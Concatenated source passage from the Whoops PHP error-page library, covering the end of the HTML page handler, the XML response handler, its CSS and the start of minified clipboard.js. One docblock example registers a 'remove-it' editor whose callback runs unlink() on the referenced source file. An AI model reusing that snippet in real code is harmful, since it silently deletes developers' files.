$this->blacklist('_SERVER', 'PHP_AUTH_PW');
$this->templateHelper = new TemplateHelper();
if
(class_exists('Symfony\Component\VarDumper\Cloner\VarCloner')) {
$cloner = new VarCloner();
// Only dump object internals if a custom caster exists for
performance reasons
// https://github.com/filp/whoops/pull/404
$cloner->addCasters(['*' => function ($obj, $a,
$stub, $isNested, $filter = 0) {
$class = $stub->class;
$classes = [$class => $class] + class_parents($class) +
class_implements($class);
foreach ($classes as $class) {
if (isset(AbstractCloner::$defaultCasters[$class])) {
return $a;
}
}
// Remove all internals
return [];
}]);
$this->templateHelper->setCloner($cloner);
}
}
/**
* @return int|null
*/
public function handle()
{
if (!$this->handleUnconditionally()) {
// Check conditions for outputting HTML:
// @todo: Make this more robust
if (PHP_SAPI === 'cli') {
// Help users who have been relying on an internal test
value
// fix their code to the proper method
if (isset($_ENV['whoops-test'])) {
throw new \Exception(
'Use handleUnconditionally instead of
whoops-test'
.' environment variable'
);
}
return Handler::DONE;
}
}
$templateFile =
$this->getResource("views/layout.html.php");
$cssFile =
$this->getResource("css/whoops.base.css");
$zeptoFile = $this->getResource("js/zepto.min.js");
$prettifyFile =
$this->getResource("js/prettify.min.js");
$clipboard =
$this->getResource("js/clipboard.min.js");
$jsFile =
$this->getResource("js/whoops.base.js");
if ($this->customCss) {
$customCssFile = $this->getResource($this->customCss);
}
$inspector = $this->getInspector();
$frames = $this->getExceptionFrames();
$code = $this->getExceptionCode();
// List of variables that will be passed to the layout template.
$vars = [
"page_title" => $this->getPageTitle(),
// @todo: Asset compiler
"stylesheet" => file_get_contents($cssFile),
"zepto" => file_get_contents($zeptoFile),
"prettify" => file_get_contents($prettifyFile),
"clipboard" => file_get_contents($clipboard),
"javascript" => file_get_contents($jsFile),
// Template paths:
"header" =>
$this->getResource("views/header.html.php"),
"header_outer" =>
$this->getResource("views/header_outer.html.php"),
"frame_list" =>
$this->getResource("views/frame_list.html.php"),
"frames_description" =>
$this->getResource("views/frames_description.html.php"),
"frames_container" =>
$this->getResource("views/frames_container.html.php"),
"panel_details" =>
$this->getResource("views/panel_details.html.php"),
"panel_details_outer" =>
$this->getResource("views/panel_details_outer.html.php"),
"panel_left" =>
$this->getResource("views/panel_left.html.php"),
"panel_left_outer" =>
$this->getResource("views/panel_left_outer.html.php"),
"frame_code" =>
$this->getResource("views/frame_code.html.php"),
"env_details" =>
$this->getResource("views/env_details.html.php"),
"title" => $this->getPageTitle(),
"name" => explode("\\",
$inspector->getExceptionName()),
"message" =>
$inspector->getExceptionMessage(),
"previousMessages" =>
$inspector->getPreviousExceptionMessages(),
"docref_url" =>
$inspector->getExceptionDocrefUrl(),
"code" => $code,
"previousCodes" =>
$inspector->getPreviousExceptionCodes(),
"plain_exception" =>
Formatter::formatExceptionPlain($inspector),
"frames" => $frames,
"has_frames" => !!count($frames),
"handler" => $this,
"handlers" =>
$this->getRun()->getHandlers(),
"active_frames_tab" => count($frames) &&
$frames->offsetGet(0)->isApplication() ? 'application' :
'all',
"has_frames_tabs" =>
$this->getApplicationPaths(),
"tables" => [
"GET Data" =>
$this->masked($_GET, '_GET'),
"POST Data" =>
$this->masked($_POST, '_POST'),
"Files" => isset($_FILES) ?
$this->masked($_FILES, '_FILES') : [],
"Cookies" =>
$this->masked($_COOKIE, '_COOKIE'),
"Session" => isset($_SESSION) ?
$this->masked($_SESSION, '_SESSION') : [],
"Server/Request Data" =>
$this->masked($_SERVER, '_SERVER'),
"Environment Variables" =>
$this->masked($_ENV, '_ENV'),
],
];
if (isset($customCssFile)) {
$vars["stylesheet"] .=
file_get_contents($customCssFile);
}
// Add extra entries list of data tables:
// @todo: Consolidate addDataTable and addDataTableCallback
$extraTables = array_map(function ($table) use ($inspector) {
return $table instanceof \Closure ? $table($inspector) :
$table;
}, $this->getDataTables());
$vars["tables"] = array_merge($extraTables,
$vars["tables"]);
$plainTextHandler = new PlainTextHandler();
$plainTextHandler->setException($this->getException());
$plainTextHandler->setInspector($this->getInspector());
$vars["preface"] = "<!--\n\n\n" .
$this->templateHelper->escape($plainTextHandler->generateResponse())
. "\n\n\n\n\n\n\n\n\n\n\n-->";
$this->templateHelper->setVariables($vars);
$this->templateHelper->render($templateFile);
return Handler::QUIT;
}
/**
* Get the stack trace frames of the exception that is currently being
handled.
*
* @return \Whoops\Exception\FrameCollection;
*/
protected function getExceptionFrames()
{
$frames = $this->getInspector()->getFrames();
if ($this->getApplicationPaths()) {
foreach ($frames as $frame) {
foreach ($this->getApplicationPaths() as $path) {
if (strpos($frame->getFile(), $path) === 0) {
$frame->setApplication(true);
break;
}
}
}
}
return $frames;
}
/**
* Get the code of the exception that is currently being handled.
*
* @return string
*/
protected function getExceptionCode()
{
$exception = $this->getException();
$code = $exception->getCode();
if ($exception instanceof \ErrorException) {
// ErrorExceptions wrap the php-error types within the
'severity' property
$code = Misc::translateErrorCode($exception->getSeverity());
}
return (string) $code;
}
/**
* @return string
*/
public function contentType()
{
return 'text/html';
}
/**
* Adds an entry to the list of tables displayed in the template.
* The expected data is a simple associative array. Any nested arrays
* will be flattened with print_r
* @param string $label
* @param array $data
*/
public function addDataTable($label, array $data)
{
$this->extraTables[$label] = $data;
}
/**
* Lazily adds an entry to the list of tables displayed in the table.
* The supplied callback argument will be called when the error is
rendered,
* it should produce a simple associative array. Any nested arrays will
* be flattened with print_r.
*
* @throws InvalidArgumentException If $callback is not callable
* @param string $label
* @param callable $callback Callable returning an
associative array
*/
public function addDataTableCallback($label, /* callable */ $callback)
{
if (!is_callable($callback)) {
throw new InvalidArgumentException('Expecting callback
argument to be callable');
}
$this->extraTables[$label] = function
(\Whoops\Exception\Inspector $inspector = null) use ($callback) {
try {
$result = call_user_func($callback, $inspector);
// Only return the result if it can be iterated over by
foreach().
return is_array($result) || $result instanceof \Traversable
? $result : [];
} catch (\Exception $e) {
// Don't allow failure to break the rendering of the
original exception.
return [];
}
};
}
/**
* Returns all the extra data tables registered with this handler.
* Optionally accepts a 'label' parameter, to only return the
data
* table under that label.
* @param string|null $label
* @return array[]|callable
*/
public function getDataTables($label = null)
{
if ($label !== null) {
return isset($this->extraTables[$label]) ?
$this->extraTables[$label] : [];
}
return $this->extraTables;
}
/**
* Allows to disable all attempts to dynamically decide whether to
* handle or return prematurely.
* Set this to ensure that the handler will perform no matter what.
* @param bool|null $value
* @return bool|null
*/
public function handleUnconditionally($value = null)
{
if (func_num_args() == 0) {
return $this->handleUnconditionally;
}
$this->handleUnconditionally = (bool) $value;
}
/**
* Adds an editor resolver, identified by a string
* name, and that may be a string path, or a callable
* resolver. If the callable returns a string, it will
* be set as the file reference's href attribute.
*
* @example
* $run->addEditor('macvim',
"mvim://open?url=file://%file&line=%line")
* @example
* $run->addEditor('remove-it', function($file, $line) {
* unlink($file);
* return "http://stackoverflow.com";
* });
* @param string $identifier
* @param string|callable $resolver
*/
public function addEditor($identifier, $resolver)
{
$this->editors[$identifier] = $resolver;
}
/**
* Set the editor to use to open referenced files, by a string
* identifier, or a callable that will be executed for every
* file reference, with a $file and $line argument, and should
* return a string.
*
* @example
* $run->setEditor(function($file, $line) { return
"file:///{$file}"; });
* @example
* $run->setEditor('sublime');
*
* @throws InvalidArgumentException If invalid argument identifier
provided
* @param string|callable $editor
*/
public function setEditor($editor)
{
if (!is_callable($editor) &&
!isset($this->editors[$editor])) {
throw new InvalidArgumentException(
"Unknown editor identifier: $editor. Known
editors:" .
implode(",", array_keys($this->editors))
);
}
$this->editor = $editor;
}
/**
* Given a string file path, and an integer file line,
* executes the editor resolver and returns, if available,
* a string that may be used as the href property for that
* file reference.
*
* @throws InvalidArgumentException If editor resolver does not return
a string
* @param string $filePath
* @param int $line
* @return string|bool
*/
public function getEditorHref($filePath, $line)
{
$editor = $this->getEditor($filePath, $line);
if (empty($editor)) {
return false;
}
// Check that the editor is a string, and replace the
// %line and %file placeholders:
if (!isset($editor['url']) ||
!is_string($editor['url'])) {
throw new UnexpectedValueException(
__METHOD__ . " should always resolve to a string or a
valid editor array; got something else instead."
);
}
$editor['url'] = str_replace("%line",
rawurlencode($line), $editor['url']);
$editor['url'] = str_replace("%file",
rawurlencode($filePath), $editor['url']);
return $editor['url'];
}
/**
* Given a boolean if the editor link should
* act as an Ajax request. The editor must be a
* valid callable function/closure
*
* @throws UnexpectedValueException If editor resolver does not return
a boolean
* @param string $filePath
* @param int $line
* @return bool
*/
public function getEditorAjax($filePath, $line)
{
$editor = $this->getEditor($filePath, $line);
// Check that the ajax is a bool
if (!isset($editor['ajax']) ||
!is_bool($editor['ajax'])) {
throw new UnexpectedValueException(
__METHOD__ . " should always resolve to a bool; got
something else instead."
);
}
return $editor['ajax'];
}
/**
* Given a boolean if the editor link should
* act as an Ajax request. The editor must be a
* valid callable function/closure
*
* @param string $filePath
* @param int $line
* @return array
*/
protected function getEditor($filePath, $line)
{
if (!$this->editor || (!is_string($this->editor) &&
!is_callable($this->editor))) {
return [];
}
if (is_string($this->editor) &&
isset($this->editors[$this->editor]) &&
!is_callable($this->editors[$this->editor])) {
return [
'ajax' => false,
'url' => $this->editors[$this->editor],
];
}
if (is_callable($this->editor) ||
(isset($this->editors[$this->editor]) &&
is_callable($this->editors[$this->editor]))) {
if (is_callable($this->editor)) {
$callback = call_user_func($this->editor, $filePath,
$line);
} else {
$callback =
call_user_func($this->editors[$this->editor], $filePath, $line);
}
if (empty($callback)) {
return [];
}
if (is_string($callback)) {
return [
'ajax' => false,
'url' => $callback,
];
}
return [
'ajax' => isset($callback['ajax']) ?
$callback['ajax'] : false,
'url' => isset($callback['url']) ?
$callback['url'] : $callback,
];
}
return [];
}
/**
* @param string $title
* @return void
*/
public function setPageTitle($title)
{
$this->pageTitle = (string) $title;
}
/**
* @return string
*/
public function getPageTitle()
{
return $this->pageTitle;
}
/**
* Adds a path to the list of paths to be searched for
* resources.
*
* @throws InvalidArgumentException If $path is not a valid directory
*
* @param string $path
* @return void
*/
public function addResourcePath($path)
{
if (!is_dir($path)) {
throw new InvalidArgumentException(
"'$path' is not a valid directory"
);
}
array_unshift($this->searchPaths, $path);
}
/**
* Adds a custom css file to be loaded.
*
* @param string $name
* @return void
*/
public function addCustomCss($name)
{
$this->customCss = $name;
}
/**
* @return array
*/
public function getResourcePaths()
{
return $this->searchPaths;
}
/**
* Finds a resource, by its relative path, in all available search
paths.
* The search is performed starting at the last search path, and all
the
* way back to the first, enabling a cascading-type system of overrides
* for all resources.
*
* @throws RuntimeException If resource cannot be found in any of the
available paths
*
* @param string $resource
* @return string
*/
protected function getResource($resource)
{
// If the resource was found before, we can speed things up
// by caching its absolute, resolved path:
if (isset($this->resourceCache[$resource])) {
return $this->resourceCache[$resource];
}
// Search through available search paths, until we find the
// resource we're after:
foreach ($this->searchPaths as $path) {
$fullPath = $path . "/$resource";
if (is_file($fullPath)) {
// Cache the result:
$this->resourceCache[$resource] = $fullPath;
return $fullPath;
}
}
// If we got this far, nothing was found.
throw new RuntimeException(
"Could not find resource '$resource' in any
resource paths."
. "(searched: " . join(", ",
$this->searchPaths). ")"
);
}
/**
* @deprecated
*
* @return string
*/
public function getResourcesPath()
{
$allPaths = $this->getResourcePaths();
// Compat: return only the first path added
return end($allPaths) ?: null;
}
/**
* @deprecated
*
* @param string $resourcesPath
* @return void
*/
public function setResourcesPath($resourcesPath)
{
$this->addResourcePath($resourcesPath);
}
/**
* Return the application paths.
*
* @return array
*/
public function getApplicationPaths()
{
return $this->applicationPaths;
}
/**
* Set the application paths.
*
* @param array $applicationPaths
*/
public function setApplicationPaths($applicationPaths)
{
$this->applicationPaths = $applicationPaths;
}
/**
* Set the application root path.
*
* @param string $applicationRootPath
*/
public function setApplicationRootPath($applicationRootPath)
{
$this->templateHelper->setApplicationRootPath($applicationRootPath);
}
/**
* blacklist a sensitive value within one of the superglobal arrays.
*
* @param $superGlobalName string the name of the superglobal array,
e.g. '_GET'
* @param $key string the key within the superglobal
*/
public function blacklist($superGlobalName, $key)
{
$this->blacklist[$superGlobalName][] = $key;
}
/**
* Checks all values within the given superGlobal array.
* Blacklisted values will be replaced by a equal length string
cointaining only '*' characters.
*
* We intentionally dont rely on $GLOBALS as it depends on
'auto_globals_jit' php.ini setting.
*
* @param $superGlobal array One of the superglobal arrays
* @param $superGlobalName string the name of the superglobal array,
e.g. '_GET'
* @return array $values without sensitive data
*/
private function masked(array $superGlobal, $superGlobalName)
{
$blacklisted = $this->blacklist[$superGlobalName];
$values = $superGlobal;
foreach ($blacklisted as $key) {
if (isset($superGlobal[$key]) &&
is_string($superGlobal[$key])) {
$values[$key] = str_repeat('*',
strlen($superGlobal[$key]));
}
}
return $values;
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Handler;
use SimpleXMLElement;
use Whoops\Exception\Formatter;
/**
* Catches an exception and converts it to an XML
* response. Additionally can also return exception
* frames for consumption by an API.
*/
class XmlResponseHandler extends Handler
{
/**
* @var bool
*/
private $returnFrames = false;
/**
* @param bool|null $returnFrames
* @return bool|$this
*/
public function addTraceToOutput($returnFrames = null)
{
if (func_num_args() == 0) {
return $this->returnFrames;
}
$this->returnFrames = (bool) $returnFrames;
return $this;
}
/**
* @return int
*/
public function handle()
{
$response = [
'error' => Formatter::formatExceptionAsDataArray(
$this->getInspector(),
$this->addTraceToOutput()
),
];
echo self::toXml($response);
return Handler::QUIT;
}
/**
* @return string
*/
public function contentType()
{
return 'application/xml';
}
/**
* @param SimpleXMLElement $node Node to append data to, will be
modified in place
* @param array|\Traversable $data
* @return SimpleXMLElement The modified node, for chaining
*/
private static function addDataToNode(\SimpleXMLElement $node, $data)
{
assert(is_array($data) || $data instanceof Traversable);
foreach ($data as $key => $value) {
if (is_numeric($key)) {
// Convert the key to a valid string
$key = "unknownNode_". (string) $key;
}
// Delete any char not allowed in XML element names
$key = preg_replace('/[^a-z0-9\-\_\.\:]/i',
'', $key);
if (is_array($value)) {
$child = $node->addChild($key);
self::addDataToNode($child, $value);
} else {
$value = str_replace('&',
'&', print_r($value, true));
$node->addChild($key, $value);
}
}
return $node;
}
/**
* The main function for converting to an XML document.
*
* @param array|\Traversable $data
* @return string XML
*/
private static function toXml($data)
{
assert(is_array($data) || $data instanceof Traversable);
$node = simplexml_load_string("<?xml
version='1.0' encoding='utf-8'?><root
/>");
return self::addDataToNode($node, $data)->asXML();
}
}
body {
font: 12px "Helvetica Neue", helvetica, arial, sans-serif;
color: #131313;
background: #eeeeee;
padding:0;
margin: 0;
max-height: 100%;
text-rendering: optimizeLegibility;
}
a {
text-decoration: none;
}
.Whoops.container {
position: relative;
z-index: 9999999999;
}
.panel {
overflow-y: scroll;
height: 100%;
position: fixed;
margin: 0;
left: 0;
top: 0;
}
.branding {
position: absolute;
top: 10px;
right: 20px;
color: #777777;
font-size: 10px;
z-index: 100;
}
.branding a {
color: #e95353;
}
header {
color: white;
box-sizing: border-box;
background-color: #2a2a2a;
padding: 35px 40px;
max-height: 180px;
overflow: hidden;
transition: 0.5s;
}
header.header-expand {
max-height: 1000px;
}
.exc-title {
margin: 0;
color: #bebebe;
font-size: 14px;
}
.exc-title-primary, .exc-title-secondary {
color: #e95353;
}
.exc-message {
font-size: 20px;
word-wrap: break-word;
margin: 4px 0 0 0;
color: white;
}
.exc-message span {
display: block;
}
.exc-message-empty-notice {
color: #a29d9d;
font-weight: 300;
}
.prev-exc-title {
margin: 10px 0;
}
.prev-exc-title + ul {
margin: 0;
padding: 0 0 0 20px;
line-height: 12px;
}
.prev-exc-title + ul li {
font: 12px "Helvetica Neue", helvetica, arial, sans-serif;
}
.prev-exc-title + ul li .prev-exc-code {
display: inline-block;
color: #bebebe;
}
.details-container {
left: 30%;
width: 70%;
background: #fafafa;
}
.details {
padding: 5px;
}
.details-heading {
color: #4288CE;
font-weight: 300;
padding-bottom: 10px;
margin-bottom: 10px;
border-bottom: 1px solid rgba(0, 0, 0, .1);
}
.details pre.sf-dump {
white-space: pre;
word-wrap: inherit;
}
.details pre.sf-dump,
.details pre.sf-dump .sf-dump-num,
.details pre.sf-dump .sf-dump-const,
.details pre.sf-dump .sf-dump-str,
.details pre.sf-dump .sf-dump-note,
.details pre.sf-dump .sf-dump-ref,
.details pre.sf-dump .sf-dump-public,
.details pre.sf-dump .sf-dump-protected,
.details pre.sf-dump .sf-dump-private,
.details pre.sf-dump .sf-dump-meta,
.details pre.sf-dump .sf-dump-key,
.details pre.sf-dump .sf-dump-index {
color: #463C54;
}
.left-panel {
width: 30%;
background: #ded8d8;
}
.frames-description {
background: rgba(0, 0, 0, .05);
padding: 8px 15px;
color: #a29d9d;
font-size: 11px;
}
.frames-description.frames-description-application {
text-align: center;
font-size: 12px;
}
.frames-container.frames-container-application
.frame:not(.frame-application) {
display: none;
}
.frames-tab {
color: #a29d9d;
display: inline-block;
padding: 4px 8px;
margin: 0 2px;
border-radius: 3px;
}
.frames-tab.frames-tab-active {
background-color: #2a2a2a;
color: #bebebe;
}
.frame {
padding: 14px;
cursor: pointer;
transition: all 0.1s ease;
background: #eeeeee;
}
.frame:not(:last-child) {
border-bottom: 1px solid rgba(0, 0, 0, .05);
}
.frame.active {
box-shadow: inset -5px 0 0 0 #4288CE;
color: #4288CE;
}
.frame:not(.active):hover {
background: #BEE9EA;
}
.frame-method-info {
margin-bottom: 10px;
}
.frame-class, .frame-function, .frame-index {
font-size: 14px;
}
.frame-index {
float: left;
}
.frame-method-info {
margin-left: 24px;
}
.frame-index {
font-size: 11px;
color: #a29d9d;
background-color: rgba(0, 0, 0, .05);
height: 18px;
width: 18px;
line-height: 18px;
border-radius: 5px;
padding: 0 1px 0 1px;
text-align: center;
display: inline-block;
}
.frame-application .frame-index {
background-color: #2a2a2a;
color: #bebebe;
}
.frame-file {
font-family: "Inconsolata", "Fira Mono",
"Source Code Pro", Monaco, Consolas, "Lucida Console",
monospace;
color: #a29d9d;
}
.frame-file .editor-link {
color: #a29d9d;
}
.frame-line {
font-weight: bold;
}
.frame-line:before {
content: ":";
}
.frame-code {
padding: 5px;
background: #303030;
display: none;
}
.frame-code.active {
display: block;
}
.frame-code .frame-file {
color: #a29d9d;
padding: 12px 6px;
border-bottom: none;
}
.code-block {
padding: 10px;
margin: 0;
border-radius: 6px;
box-shadow: 0 3px 0 rgba(0, 0, 0, .05),
0 10px 30px rgba(0, 0, 0, .05),
inset 0 0 1px 0 rgba(255, 255, 255, .07);
-moz-tab-size: 4;
-o-tab-size: 4;
tab-size: 4;
}
.linenums {
margin: 0;
margin-left: 10px;
}
.frame-comments {
border-top: none;
margin-top: 15px;
font-size: 12px;
}
.frame-comments.empty {
}
.frame-comments.empty:before {
content: "No comments for this stack frame.";
font-weight: 300;
color: #a29d9d;
}
.frame-comment {
padding: 10px;
color: #e3e3e3;
border-radius: 6px;
background-color: rgba(255, 255, 255, .05);
}
.frame-comment a {
font-weight: bold;
text-decoration: none;
}
.frame-comment a:hover {
color: #4bb1b1;
}
.frame-comment:not(:last-child) {
border-bottom: 1px dotted rgba(0, 0, 0, .3);
}
.frame-comment-context {
font-size: 10px;
color: white;
}
.delimiter {
display: inline-block;
}
.data-table-container label {
font-size: 16px;
color: #303030;
font-weight: bold;
margin: 10px 0;
display: block;
margin-bottom: 5px;
padding-bottom: 5px;
}
.data-table {
width: 100%;
margin-bottom: 10px;
}
.data-table tbody {
font: 13px "Inconsolata", "Fira Mono", "Source
Code Pro", Monaco, Consolas, "Lucida Console", monospace;
}
.data-table thead {
display: none;
}
.data-table tr {
padding: 5px 0;
}
.data-table td:first-child {
width: 20%;
min-width: 130px;
overflow: hidden;
font-weight: bold;
color: #463C54;
padding-right: 5px;
}
.data-table td:last-child {
width: 80%;
-ms-word-break: break-all;
word-break: break-all;
word-break: break-word;
-webkit-hyphens: auto;
-moz-hyphens: auto;
hyphens: auto;
}
.data-table span.empty {
color: rgba(0, 0, 0, .3);
font-weight: 300;
}
.data-table label.empty {
display: inline;
}
.handler {
padding: 4px 0;
font: 14px "Inconsolata", "Fira Mono", "Source
Code Pro", Monaco, Consolas, "Lucida Console", monospace;
}
/* prettify code style
Uses the Doxy theme as a base */
pre .str, code .str { color: #BCD42A; } /* string */
pre .kwd, code .kwd { color: #4bb1b1; font-weight: bold; } /* keyword*/
pre .com, code .com { color: #888; font-weight: bold; } /* comment */
pre .typ, code .typ { color: #ef7c61; } /* type */
pre .lit, code .lit { color: #BCD42A; } /* literal */
pre .pun, code .pun { color: #fff; font-weight: bold; } /* punctuation */
pre .pln, code .pln { color: #e9e4e5; } /* plaintext */
pre .tag, code .tag { color: #4bb1b1; } /* html/xml tag */
pre .htm, code .htm { color: #dda0dd; } /* html tag */
pre .xsl, code .xsl { color: #d0a0d0; } /* xslt tag */
pre .atn, code .atn { color: #ef7c61; font-weight: normal;} /* html/xml
attribute name */
pre .atv, code .atv { color: #bcd42a; } /* html/xml attribute value */
pre .dec, code .dec { color: #606; } /* decimal */
pre.code-block, code.code-block, .frame-args.code-block,
.frame-args.code-block samp {
font-family: "Inconsolata", "Fira Mono", "Source
Code Pro", Monaco, Consolas, "Lucida Console", monospace;
background: #333;
color: #e9e4e5;
}
pre.code-block {
white-space: pre-wrap;
}
pre.code-block a, code.code-block a {
text-decoration:none;
}
.linenums li {
color: #A5A5A5;
}
.linenums li.current{
background: rgba(255, 100, 100, .07);
}
.linenums li.current.active {
background: rgba(255, 100, 100, .17);
}
pre:not(.prettyprinted) {
padding-left: 60px;
}
#plain-exception {
display: none;
}
.rightButton {
cursor: pointer;
border: 0;
opacity: .8;
background: none;
color: rgba(255, 255, 255, 0.1);
box-shadow: inset 0 0 0 2px rgba(255, 255, 255, 0.1);
border-radius: 3px;
outline: none !important;
}
.rightButton:hover {
box-shadow: inset 0 0 0 2px rgba(255, 255, 255, 0.3);
color: rgba(255, 255, 255, 0.3);
}
/* inspired by githubs kbd styles */
kbd {
-moz-border-bottom-colors: none;
-moz-border-left-colors: none;
-moz-border-right-colors: none;
-moz-border-top-colors: none;
background-color: #fcfcfc;
border-color: #ccc #ccc #bbb;
border-image: none;
border-style: solid;
border-width: 1px;
color: #555;
display: inline-block;
font-size: 11px;
line-height: 10px;
padding: 3px 5px;
vertical-align: middle;
}
/* == Media queries */
/* Expand the spacing in the details section */
@media (min-width: 1000px) {
.details, .frame-code {
padding: 20px 40px;
}
.details-container {
left: 32%;
width: 68%;
}
.frames-container {
margin: 5px;
}
.left-panel {
width: 32%;
}
}
/* Stack panels */
@media (max-width: 600px) {
.panel {
position: static;
width: 100%;
}
}
/* Stack details tables */
@media (max-width: 400px) {
.data-table,
.data-table tbody,
.data-table tbody tr,
.data-table tbody td {
display: block;
width: 100%;
}
.data-table tbody tr:first-child {
padding-top: 0;
}
.data-table tbody td:first-child,
.data-table tbody td:last-child {
padding-left: 0;
padding-right: 0;
}
.data-table tbody td:last-child {
padding-top: 3px;
}
}
.tooltipped {
position: relative
}
.tooltipped:after {
position: absolute;
z-index: 1000000;
display: none;
padding: 5px 8px;
color: #fff;
text-align: center;
text-decoration: none;
text-shadow: none;
text-transform: none;
letter-spacing: normal;
word-wrap: break-word;
white-space: pre;
pointer-events: none;
content: attr(aria-label);
background: rgba(0, 0, 0, 0.8);
border-radius: 3px;
-webkit-font-smoothing: subpixel-antialiased
}
.tooltipped:before {
position: absolute;
z-index: 1000001;
display: none;
width: 0;
height: 0;
color: rgba(0, 0, 0, 0.8);
pointer-events: none;
content: "";
border: 5px solid transparent
}
.tooltipped:hover:before,
.tooltipped:hover:after,
.tooltipped:active:before,
.tooltipped:active:after,
.tooltipped:focus:before,
.tooltipped:focus:after {
display: inline-block;
text-decoration: none
}
.tooltipped-s:after {
top: 100%;
right: 50%;
margin-top: 5px
}
.tooltipped-s:before {
top: auto;
right: 50%;
bottom: -5px;
margin-right: -5px;
border-bottom-color: rgba(0, 0, 0, 0.8)
}
pre.sf-dump {
padding: 0px !important;
margin: 0px !important;
}
.search-for-help {
width: 85%;
padding: 0;
margin: 10px 0;
list-style-type: none;
display: inline-block;
}
.search-for-help li {
display: inline-block;
margin-right: 5px;
}
.search-for-help li:last-child {
margin-right: 0;
}
.search-for-help li a {
}
.search-for-help li a i {
width: 16px;
height: 16px;
overflow: hidden;
display: block;
}
.search-for-help li a svg {
fill: #fff;
}
.search-for-help li a svg path {
background-size: contain;
}
/*!
* clipboard.js v1.5.3
* https://zenorocha.github.io/clipboard.js
*
* Licensed MIT © Zeno Rocha
*/
!function(t){if("object"==typeof
exports&&"undefined"!=typeof
module)module.exports=t();else if("function"==typeof
define&&define.amd)define([],t);else{var
e;e="undefined"!=typeof
window?window:"undefined"!=typeof
global?global:"undefined"!=typeof
self?self:this,e.Clipboard=t()}}(function(){var t,e,n;return function
t(e,n,r){function o(a,c){if(!n[a]){if(!e[a]){var
s="function"==typeof
require&&require;if(!c&&s)return s(a,!0);if(i)return
i(a,!0);var u=new Error("Cannot find module
'"+a+"'");throw
u.code="MODULE_NOT_FOUND",u}var
l=n[a]={exports:{}};e[a][0].call(l.exports,function(t){var
n=e[a][1][t];return o(n?n:t)},l,l.exports,t,e,n,r)}return
n[a].exports}for(var i="function"==typeof
require&&require,a=0;a<r.length;a++)o(r[a]);return
o}({1:[function(t,e,n){var
r=t("matches-selector");e.exports=function(t,e,n){for(var
o=n?t:t.parentNode;o&&o!==document;){if(r(o,e))return
o;o=o.parentNode}}},{"matches-selector":2}],2:[function(t,e,n){function
r(t,e){if(i)return i.call(t,e);for(var
n=t.parentNode.querySelectorAll(e),r=0;r<n.length;++r)if(n[r]==t)return!0;return!1}var
o=Element.prototype,i=o.matchesSelector||o.webkitMatchesSelector||o.mozMatchesSelector||o.msMatchesSelector||o.oMatchesSelector;e.exports=r},{}],3:[function(t,e,n){function
r(t,e,n,r){var i=o.apply(this,arguments);return
t.addEventListener(n,i),{destroy:function(){t.removeEventListener(n,i)}}}function
o(t,e,n,r){return function(n){var
o=i(n.target,e,!0);o&&(Object.defineProperty(n,"target",{value:o}),r.call(t,n))}}var
i=t("closest");e.exports=r},{closest:1}],4:[function(t,e,n){n.node=function(t){return
void 0!==t&&t instanceof
HTMLElement&&1===t.nodeType},n.nodeList=function(t){var
e=Object.prototype.toString.call(t);return void
0!==t&&("[object NodeList]"===e||"[object
HTMLCollection]"===e)&&"length"in
t&&(0===t.length||n.node(t[0]))},n.string=function(t){return"string"==typeof
t||t instanceof String},n.function=function(t){var
e=Object.prototype.toString.call(t);return"[object
Function]"===e}},{}],5:[function(t,e,n){function
r(t,e,n){if(!t&&!e&&!n)throw new Error("Missing
required arguments");if(!c.string(e))throw new TypeError("Second
argument must be a String");if(!c.function(n))throw new
TypeError("Third argument must be a
Function");if(c.node(t))return o(t,e,n);if(c.nodeList(t))return
i(t,e,n);if(c.string(t))return a(t,e,n);throw new TypeError("First
argument must be a String, HTMLElement, HTMLCollection, or
NodeList")}function o(t,e,n){return
t.addEventListener(e,n),{destroy:function(){t.removeEventListener(e,n)}}}function
i(t,e,n){return
Array.prototype.forEach.call(t,function(t){t.addEventListener(e,n)}),{destroy:function(){Array.prototype.forEach.call(t,function(t){t.removeEventListener(e,n)})}}}function
a(t,e,n){return s(document.body,t,e,n)}var
c=t("./is"),s=t("delegate");e.exports=r},{"./is":4,delegate:3}],6:[function(t,e,n){function
r(t){var
e;if("INPUT"===t.nodeName||"TEXTAREA"===t.nodeName)t.select(),e=t.value;else{var
n=window.getSelection(),r=document.createRange();r.selectNodeContents(t),n.removeAllRanges(),n.addRange(r),e=n.toString()}return
e}e.exports=r},{}],7:[function(t,e,n){function
r(){}r.prototype={on:function(t,e,n){var
r=this.e||(this.e={});return(r[t]||(r[t]=[])).push({fn:e,ctx:n}),this},once:function(t,e,n){function
r(){o.off(t,r),e.apply(n,arguments)}var o=this;return
r._=e,this.on(t,r,n)},emit:function(t){var
e=[].slice.call(arguments,1),n=((this.e||(this.e={}))[t]||[]).slice(),r=0,o=n.length;for(r;o>r;r++)n[r].fn.apply(n[r].ctx,e);return
this},off:function(t,e){var
n=this.e||(this.e={}),r=n[t],o=[];if(r&&e)for(var
i=0,a=r.length;a>i;i++)r[i].fn!==e&&r[i].fn._!==e&&o.push(r[i]);return
o.length?n[t]=o:delete
n[t],this}},e.exports=r},{}],8:[function(t,e,n){"use
strict";function r(t){return
t&&t.__esModule?t:{"default":t}}function o(t,e){if(!(t
instanceof e))throw new TypeError("Cannot call a class as a
function")}n.__esModule=!0;var i=function(){function t(t,e){for(var
n=0;n<e.length;n++){var
r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in
r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return
function(e,n,r){return
n&&t(e.prototype,n),r&&t(e,r),e}}(),a=t("select"),c=r(a),s=function(){function
t(e){o(this,t),this.resolveOptions(e),this.initSelection()}return
t.prototype.resolveOptions=function t(){var e=arguments.length<=0||void
0===arguments[0]?{}:arguments[0];this.action=e.action,this.emitter=e.emitter,this.target=e.target,this.text=e.text,this.trigger=e.trigger,this.selectedText=""},t.prototype.initSelection=function
t(){if(this.text&&this.target)throw new Error('Multiple
attributes declared, use either "target" or
"text"');if(this.text)this.selectFake();else{if(!this.target)throw
new Error('Missing required attributes, use either "target"
or
"text"');this.selectTarget()}},t.prototype.selectFake=function
t(){var
e=this;this.removeFake(),this.fakeHandler=document.body.addEventListener("click",function(){return
e.removeFake()}),this.fakeElem=document.createElement("textarea"),this.fakeElem.style.position="absolute",this.fakeElem.style.left="-9999px",this.fakeElem.style.top=(window.pageYOffset||document.documentElement.scrollTop)+"px",this.fakeElem.setAttribute("readonly",""),this.fakeElem.value=this.text,document.body.appendChild(this.fakeElem),this.selectedText=c.default(this.fakeElem),this.copyText()},t.prototype.removeFake=function
